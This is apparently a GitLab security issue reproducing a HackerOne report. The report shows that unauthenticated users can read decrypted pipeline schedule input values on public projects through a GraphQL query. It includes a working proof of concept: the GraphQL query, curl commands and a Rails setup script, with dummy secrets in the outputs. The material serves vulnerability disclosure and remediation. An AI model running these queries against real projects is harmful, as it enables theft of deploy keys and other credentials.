Pipeline schedule inputs (CI/CD “inputs” for schedules) exposed in plaintext via GraphQL to unauthenticated users on public projects

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #3457591 by sndd on 2025-12-08, assigned to GitLab Team:

Report | Attachments | How To Reproduce

HackerOne Analyst Summary

Summary of the issue

The researcher found malicious actor can view other user's input variable value in the scheduled pipeline, via GraphQL query pipelineSchedules.

Steps to reproduce

  1. As the victim, sign in victim's GitLab account -> Create a public project -> Add .gitlab-ci.yml file with following content:
spec:
  inputs:
    test_variable:
      description: "Test variable"
      default: "default_value"
---
test_job:
  script:
    - echo "Deploying..."

3457591-Step1-victim-add-gitlab-ci-yml.png

  1. As the victim, go to project Pipeline schedules -> Create a new scheduled pipeline -> Fill out all necessary information -> In Inputs section -> Select inputs -> Choose variable name test_variable -> Enter any secret value -> Save changes:

3457591-Step2-victim-create-schedule-pipeline.png

  1. As the attacker, visit victim's Pipeline schedules setting. You can see attacker cannot view input variable or other details, as expected:

3457591-Step3-attacker-cannot-view-scheduled-pipeline-details.png

  1. As the attacker, open https://gitlab.com/-/graphql-explorer -> Run following query:
  • Replace VICTIM_GROUP_NAME with victim's group name
  • Replace VICTIM_PROJECT_NAME with victim's project name
{
  project(fullPath: "VICTIM_GROUP_NAME/VICTIM_PROJECT_NAME") {
    pipelineSchedules {
      nodes {
        description
        inputs {
          nodes {
            name
            value
          }
        }
      }
    }
  }
}
  1. As the attacker, you can see victim's input variable value from the response:

3457591-Step5-attacker-view-variable-value.png

Impact statement

Malicious actor can view other user's input variable value in the scheduled pipeline.

If you have any questions or concerns about this report, feel free to assign it to H1 Triage via the action picker with a comment indicating your request.

Original Report

Summary

GitLab’s CI/CD “inputs” feature (spec:inputs) allows users to define typed parameters that can be passed into pipelines. These inputs are explicitly documented and marketed as a more secure, structured way to pass configuration and secrets into pipelines (including scheduled pipelines).

When inputs are used with pipeline schedules, their values are persisted via the Ci::PipelineScheduleInput model in the ci_pipeline_schedule_inputs table. The model is treated as sensitive (it includes Gitlab::SensitiveSerializableHash), and the values are not exposed in the REST API or schedule UI.

However, the GraphQL API exposes these values directly:

  • The PipelineSchedule GraphQL type has an inputs field, added by MR Add inputs to the PipelineScheduleCreate mutation, which uses Ci::Inputs::FieldType to expose stored inputs.
  • Each Ci::Inputs::FieldType node returns name and value via Inputs::ValueType with no additional masking or authorization.

For public projects with Public pipelines enabled (default), non-members (including completely unauthenticated users) are allowed to view pipeline-related resources based on the public_builds/“Public pipelines” setting.

The combination of:

  1. An inputs field on PipelineSchedule returning decrypted values, and
  2. read_pipeline_schedule being granted to anonymous users on public projects with Public pipelines enabled,

means that any unauthenticated user can call the GraphQL API and dump all stored schedule inputs, in plaintext, for any such project.

This effectively nullifies the protection of storing inputs via GitLab’s sensitive data infrastructure and the “more secure than variables” positioning of CI/CD inputs.

Vulnerability Details

  • The Component: The spec:inputs feature allows users to define inputs for pipelines. When used in a Pipeline Schedule, these inputs (Ci::PipelineScheduleInput) are often used to store sensitive credentials required for the scheduled job (e.g., deploy_token, nightly_build_key).
  • The Security Control: These inputs are stored encrypted in the database (ci_pipeline_schedule_inputs table), confirming they are treated as secrets by the platform.
  • The Flaw: The GraphQL type Types::Ci::PipelineScheduleType exposes the inputs field without masking the value or checking for Maintainer/Owner permissions. The value is returned in plaintext to anyone with read_pipeline_schedule access.
  • The Bypass: ProjectPolicy grants read_pipeline_schedule to public_access when public pipelines are enabled. This makes the secrets readable by anonymous users.

Proof of Concept 1: GitLab.com (SaaS)

Video:

This proves the vulnerability exists in the current production environment.

1. Victim Setup

  • I created a Public project on GitLab.com using my [@]wearehackerone.com test account: https://gitlab.com/sndd-h1-research-group/sndd-h1-research-project
  • I defined a CI configuration using spec:inputs to enable the new Inputs feature.
  • I created a Pipeline Schedule (HackerOne PoC Schedule) and entered a DUMMY secret value: H1_TEST_SECRET_DO_NOT_USE.
    • Note: This is a harmless string used solely for demonstration purposes, strictly following the program's Rules of Engagement regarding credential testing.

2. Attack Execution (Unauthenticated)
Run the following command to extract the secret from the public project (no authentication required):

curl -s -H "Content-Type: application/json" \  
  --data '{  
    "query": "query { project(fullPath: \"sndd-h1-research-group/sndd-h1-research-project\") { pipelineSchedules { nodes { description inputs { nodes { name value } } } } } }"  
  }' \  
  "https://gitlab.com/api/graphql" | jq  

Observed Output:
The API returns the secret in plaintext:

{
  "data": {  
    "project": {  
      "pipelineSchedules": {  
        "nodes": [  
          {  
            "description": "HackerOne PoC Schedule",  
            "inputs": {  
              "nodes": [  
                {  
                  "name": "deploy_secret_key",  
                  "value": "H1_TEST_SECRET_DO_NOT_USE"  
                }  
              ]  
            }  
          }  
        ]  
      }  
    }  
  }  
}

Proof of Concept 2: Local Instance (Technical Verification)

Video:

This proves the vulnerability is in the codebase logic, unrelated to SaaS configuration.

1. Setup Script (Rails Console)
I used the Rails console to create a public project and inject an encrypted secret into the Ci::PipelineScheduleInput table.

Run this in the GitLab Rails Console:

docker exec -it gitlab gitlab-rails runner '  
###  1. Setup Context  
org = Organizations::Organization.first || Organizations::Organization.default_organization  
admin = User.find_by(username: "root")

###  2. Create Public Victim Project  
v_group = Group.find_by(path: "victim-public")  
if v_group.nil?  
  v_group = Group.new(name: "Victim Public", path: "victim-public", organization: org, visibility_level: 20) # 20 = Public  
  v_group.save!  
end

project = Project.find_by(path: "schedule-input-leak", namespace: v_group)  
if project.nil?  
  project = Project.new(name: "schedule-input-leak", path: "schedule-input-leak", namespace: v_group, organization: org, creator: admin, visibility_level: 20)  
  project.save!  
end

###  3. Create Pipeline Schedule  
###  This is the parent object for the inputs  
schedule = Ci::PipelineSchedule.create!(  
  project: project,  
  owner: admin,  
  description: "Production Deploy Schedule",  
  ref: "main",  
  cron: "0 0 * * *",  
  cron_timezone: "UTC",  
  active: true  
)

###  4. Create the SENSITIVE Input  
###  This model encrypts the "value" column in the database.  
###  We expect to leak the plaintext via API.  
input = Ci::PipelineScheduleInput.create!(  
  pipeline_schedule: schedule,  
  name: "deploy_api_key",  
  value: "SK_LIVE_SECRET_KEY_12345" # <--- The Secret  
)

puts "\n🔥 SETUP COMPLETE 🔥"  
puts "Project Path:     #{project.full_path}"  
puts "Schedule ID:      #{schedule.id}"  
puts "Stored Secret:    #{input.value}"  
puts "Exploit URL:      http://localhost/api/graphql"  
puts "========================================"  
'

2. Exploit Execution
Run this command against the local instance without any authentication headers:

curl -s -H "Content-Type: application/json" \  
  --data '{  
    "query": "query { project(fullPath: \"victim-public/schedule-input-leak\") { pipelineSchedules { nodes { description inputs { nodes { name value } } } } } }"  
  }' \  
  "http://localhost/api/graphql" | jq  

Observed Output:
The API returns the decrypted plaintext:

{
  "data": {  
    "project": {  
      "pipelineSchedules": {  
        "nodes": [  
          {  
            "description": "Production Deploy Schedule",  
            "inputs": {  
              "nodes": [  
                {  
                  "name": "deploy_api_key",  
                  "value": "SK_LIVE_SECRET_KEY_12345"  
                }  
              ]  
            }  
          }  
        ]  
      }  
    }  
  }  
}
Triage TL;DR

Ci::PipelineScheduleInput uses Rails application-level encryption (encrypts :value), so the raw column in ci_pipeline_schedule_inputs is stored as ciphertext. However, when the GraphQL layer resolves PipelineSchedule.inputs.value, it runs inside the GitLab Rails application, which automatically decrypts value and returns the cleartext. Because read_pipeline_schedule is granted to public_access on public projects with public pipelines enabled, unauthenticated users can call this GraphQL field and receive the decrypted input values, despite them being encrypted at rest in the database.

Impact

  • Credential Theft: Attackers can harvest sensitive credentials (AWS keys, Deploy tokens, SSH keys) stored in scheduled pipelines across all public projects on GitLab.com.

  • This can lead to compromise of external systems (databases, clusters, SaaS APIs) configured in those schedules.

  • Encryption Bypass: The vulnerability completely negates the database-level encryption (ci_pipeline_schedule_inputs table) for these inputs.

  • Unauthenticated Access: No account is required to exploit this on public projects.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: